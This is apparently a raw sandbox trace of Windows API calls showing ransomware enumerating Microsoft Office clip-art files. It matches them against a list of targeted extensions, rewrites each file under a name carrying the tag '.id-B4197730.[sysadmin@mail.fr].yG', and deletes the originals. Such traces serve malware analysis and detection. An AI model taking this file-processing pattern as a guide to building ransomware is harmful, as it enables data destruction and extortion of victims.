	[0159.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.154] lstrlenW (lpString=".1cd") returned 4
	[0159.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0159.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.154] lstrlenW (lpString=".jpg") returned 4
	[0159.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0159.154] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0159.154] lstrlenW (lpString="J0099186.JPG") returned 12
	[0159.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0160.240] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=16738) returned 1
	[0160.240] CloseHandle (hObject=0x4b0) returned 1
	[0160.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220
	[0160.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.062] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.062] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0161.064] GetLastError () returned 0x0
	[0161.064] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4162, lpOverlapped=0x0) returned 1
	[0161.086] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4170, lpOverlapped=0x0) returned 1
	[0161.087] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.087] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.088] SetEndOfFile (hFile=0x364) returned 1
	[0161.088] CloseHandle (hObject=0x364) returned 1
	[0161.088] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.088] SetEndOfFile (hFile=0x51c) returned 1
	[0161.092] CloseHandle (hObject=0x51c) returned 1
	[0161.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1
	[0161.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.094] lstrlenW (lpString=".doc") returned 4
	[0161.094] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0161.094] lstrlenW (lpString=".docx") returned 5
	[0161.094] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0161.094] lstrlenW (lpString=".pdf") returned 4
	[0161.094] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0161.094] lstrlenW (lpString=".xls") returned 4
	[0161.094] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0161.094] lstrlenW (lpString=".xlsx") returned 5
	[0161.094] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0161.094] lstrlenW (lpString=".ppt") returned 4
	[0161.094] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.095] lstrlenW (lpString=".zip") returned 4
	[0161.095] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0161.095] lstrlenW (lpString=".rar") returned 4
	[0161.095] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0161.095] lstrlenW (lpString=".bz2") returned 4
	[0161.095] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0161.095] lstrlenW (lpString=".7z") returned 3
	[0161.095] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.095] lstrlenW (lpString=".dbf") returned 4
	[0161.095] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.095] lstrlenW (lpString=".1cd") returned 4
	[0161.095] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.095] lstrlenW (lpString=".jpg") returned 4
	[0161.095] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.095] lstrlenW (lpString=".doc") returned 4
	[0161.095] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0161.095] lstrlenW (lpString=".docx") returned 5
	[0161.095] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0161.096] lstrlenW (lpString=".pdf") returned 4
	[0161.096] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0161.096] lstrlenW (lpString=".xls") returned 4
	[0161.096] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0161.096] lstrlenW (lpString=".xlsx") returned 5
	[0161.096] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0161.096] lstrlenW (lpString=".ppt") returned 4
	[0161.096] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.096] lstrlenW (lpString=".zip") returned 4
	[0161.096] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0161.096] lstrlenW (lpString=".rar") returned 4
	[0161.096] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0161.096] lstrlenW (lpString=".bz2") returned 4
	[0161.096] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0161.096] lstrlenW (lpString=".7z") returned 3
	[0161.096] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.096] lstrlenW (lpString=".dbf") returned 4
	[0161.096] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.096] lstrlenW (lpString=".1cd") returned 4
	[0161.096] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0161.096] lstrlenW (lpString=".jpg") returned 4
	[0161.096] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0161.097] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0161.097] lstrlenW (lpString="J0099197.GIF") returned 12
	[0161.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.098] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10898) returned 1
	[0161.098] CloseHandle (hObject=0x51c) returned 1
	[0161.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220
	[0161.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.098] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.099] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0161.100] GetLastError () returned 0x0
	[0161.100] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2a92, lpOverlapped=0x0) returned 1
	[0161.110] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2aa0, lpOverlapped=0x0) returned 1
	[0161.115] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.115] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.115] SetEndOfFile (hFile=0x364) returned 1
	[0161.115] CloseHandle (hObject=0x364) returned 1
	[0161.115] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.115] SetEndOfFile (hFile=0x51c) returned 1
	[0161.121] CloseHandle (hObject=0x51c) returned 1
	[0161.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1
	[0161.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.122] lstrlenW (lpString=".doc") returned 4
	[0161.122] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.122] lstrlenW (lpString=".docx") returned 5
	[0161.122] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0161.122] lstrlenW (lpString=".pdf") returned 4
	[0161.123] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.123] lstrlenW (lpString=".xls") returned 4
	[0161.123] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.123] lstrlenW (lpString=".xlsx") returned 5
	[0161.123] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0161.123] lstrlenW (lpString=".ppt") returned 4
	[0161.123] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.123] lstrlenW (lpString=".zip") returned 4
	[0161.123] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.123] lstrlenW (lpString=".rar") returned 4
	[0161.123] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.123] lstrlenW (lpString=".bz2") returned 4
	[0161.123] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.123] lstrlenW (lpString=".7z") returned 3
	[0161.123] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.123] lstrlenW (lpString=".dbf") returned 4
	[0161.123] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.123] lstrlenW (lpString=".1cd") returned 4
	[0161.123] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.123] lstrlenW (lpString=".jpg") returned 4
	[0161.123] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.124] lstrlenW (lpString=".doc") returned 4
	[0161.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.124] lstrlenW (lpString=".docx") returned 5
	[0161.124] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0161.124] lstrlenW (lpString=".pdf") returned 4
	[0161.124] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.124] lstrlenW (lpString=".xls") returned 4
	[0161.124] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.124] lstrlenW (lpString=".xlsx") returned 5
	[0161.124] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0161.124] lstrlenW (lpString=".ppt") returned 4
	[0161.124] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.124] lstrlenW (lpString=".zip") returned 4
	[0161.124] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.124] lstrlenW (lpString=".rar") returned 4
	[0161.124] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.124] lstrlenW (lpString=".bz2") returned 4
	[0161.124] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.124] lstrlenW (lpString=".7z") returned 3
	[0161.124] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.124] lstrlenW (lpString=".dbf") returned 4
	[0161.124] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.125] lstrlenW (lpString=".1cd") returned 4
	[0161.125] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.125] lstrlenW (lpString=".jpg") returned 4
	[0161.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.125] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0161.125] lstrlenW (lpString="J0099198.GIF") returned 12
	[0161.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.126] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5259) returned 1
	[0161.126] CloseHandle (hObject=0x51c) returned 1
	[0161.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220
	[0161.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.127] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.127] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0161.128] GetLastError () returned 0x0
	[0161.128] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x148b, lpOverlapped=0x0) returned 1
	[0161.414] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0161.415] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.415] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.415] SetEndOfFile (hFile=0x364) returned 1
	[0161.415] CloseHandle (hObject=0x364) returned 1
	[0161.416] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.416] SetEndOfFile (hFile=0x51c) returned 1
	[0161.425] CloseHandle (hObject=0x51c) returned 1
	[0161.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1
	[0161.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.894] lstrlenW (lpString=".doc") returned 4
	[0161.894] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.894] lstrlenW (lpString=".docx") returned 5
	[0161.894] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0161.894] lstrlenW (lpString=".pdf") returned 4
	[0161.894] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.894] lstrlenW (lpString=".xls") returned 4
	[0161.894] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.894] lstrlenW (lpString=".xlsx") returned 5
	[0161.894] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0161.894] lstrlenW (lpString=".ppt") returned 4
	[0161.894] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.894] lstrlenW (lpString=".zip") returned 4
	[0161.894] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.894] lstrlenW (lpString=".rar") returned 4
	[0161.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.894] lstrlenW (lpString=".bz2") returned 4
	[0161.895] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.895] lstrlenW (lpString=".7z") returned 3
	[0161.895] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.895] lstrlenW (lpString=".dbf") returned 4
	[0161.895] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.895] lstrlenW (lpString=".1cd") returned 4
	[0161.895] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.895] lstrlenW (lpString=".jpg") returned 4
	[0161.895] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.895] lstrlenW (lpString=".doc") returned 4
	[0161.895] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.895] lstrlenW (lpString=".docx") returned 5
	[0161.895] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0161.895] lstrlenW (lpString=".pdf") returned 4
	[0161.895] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.895] lstrlenW (lpString=".xls") returned 4
	[0161.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.895] lstrlenW (lpString=".xlsx") returned 5
	[0161.895] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0161.896] lstrlenW (lpString=".ppt") returned 4
	[0161.896] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.896] lstrlenW (lpString=".zip") returned 4
	[0161.896] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.896] lstrlenW (lpString=".rar") returned 4
	[0161.896] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.896] lstrlenW (lpString=".bz2") returned 4
	[0161.896] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.896] lstrlenW (lpString=".7z") returned 3
	[0161.896] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.896] lstrlenW (lpString=".dbf") returned 4
	[0161.896] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
